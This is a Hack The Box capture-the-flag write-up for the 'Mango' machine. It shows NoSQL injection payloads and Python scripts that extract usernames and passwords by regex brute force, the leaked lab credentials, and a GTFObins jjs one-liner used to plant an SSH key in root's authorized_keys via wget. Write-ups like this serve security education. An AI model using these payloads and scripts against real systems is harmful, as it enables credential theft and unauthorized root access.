HTB Writeup - Mango

Mango is rated as a medium difficulty linux machine. This machine is hosting a webserver vulnerable to NoSQL injection, allowing attackers to leak credentials that can be used to successfully login via SSH. For privilege escalation, a scripting tool with SUID enabled can be used by attackers to execute shell commands as root.
Recon
A quick masscan + nmap scan gives us the following info:

There are 3 open ports, 22, 80 and 443. Credentials are needed for SSH access so let’s proceed checking up port 80 and port 443.
Webserver
Hitting up port 80 gives us a 403 Forbidden response.

Adding mango.htb to /etc/hosts gives us the same response.

Enumerating port 80’s directories also gave nothing.
Skipping to port 443, accessing the port leads us to this webpage.

Enumerating port 443’s directories and pages only led to this page.

It seems that https://mango.htb or https://10.10.10.162 leads to nothing.
Going back to our nmap scan gives us a subdomain worth investigating.
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Adding staging-order.mango.htb to /etc/hosts gives us a new webpage - Sweet & Juicy Mango login page.

NoSQL Injection
After manually testing a lot of SQLi payloads, it seems that the login page is not vulnerable to SQLi. After wasting a lot of time in the rabbit hole, I realized that there might be a reason why this machine is named Mango.
Mango -> Mongo -> MongoDB -> NoSQL injection
After trying different NoSQL payloads from PayloadAllTheThings, I got an HTTP/1.1 302 Found response with this payload.
username[$ne]=admin&password[$ne]=admin&login=login

We can extract information using this payload template:
username[$regex]=^(insert character guess here)&password[$ne]=test&login=login
The payload means that the server will return a 302 response if the user value starts with the right character/s.
Automating this attack with a script makes it easier to leak the information we need.
import requests
import string
url = 'http://staging-order.mango.htb/'
user = ''
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
data = {'username[$regex]': '^{}'.format(user + c),
'password[$ne]': 'abc',
'login': 'login'
}
print('Trying: {}'.format(user + c))
print('Current user: {}'.format(user))
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
# additional check to break the script
if c == '$':
print('Leaked user: {}'.format(user))
exit()
user += c
print(user)
Running this script gives us two users, admin and mango.

Note: Edited the script to skip admin user

After extracting the users, we need to edit the payload to extract passwords.
This will be the new payload template for password extraction.
username=admin&password[$regex]=^(insert password guess here)&login=login
This script can be used to extract the password for each user:
import requests
import string
url = 'http://staging-order.mango.htb/'
password = ''
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
data = {'username[$eq]': 'mango',
'password[$regex]': '^{}'.format(password+c),
'login': 'login'
}
print('Trying: {}'.format(password + c))
print('Current pw: {}'.format(password))
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
if c == '$':
print('Leaked password: {}'.format(password))
exit()
password += c
print(password)
User admin password leak:

User mango password leak:

Leaked credentials:
admin : t9KcS3>!0B#2
mango : h3mXK8RhU~f{]f5H
The credentials for mango user worked on SSH login.

After checking the files of mango, the file user.txt does not exist in the home directory. It seems that we still need to check for another user.
PrivEsc to Admin
Upon checking the list of users on /etc/passwd, we can see that there is another user named admin.

We can try to use the leaked credentials (admin : t9KcS3>!0B#2) for this user.

Successfully pivoted to admin user.
PrivEsc to Root
Executing LinEnum.sh shows us that there is an SUID binary that can be exploited.

A quick google search about exploiting jjs leads us to another GTFObins page.

According to GTFObins, we can execute system commands inside jjs with a one-liner command:
Java.type('java.lang.Runtime').getRuntime().exec('<insert commands here>').waitFor()
Since jjs is SUID enabled, we can execute commands as root. We can try to write an SSH public key to /root/.ssh/authorized_keys and login via SSH using our private key.
Overwriting /root/.ssh/authorized_keys by downloading our public key using wget.

Successfully logged in as root using our private key.
–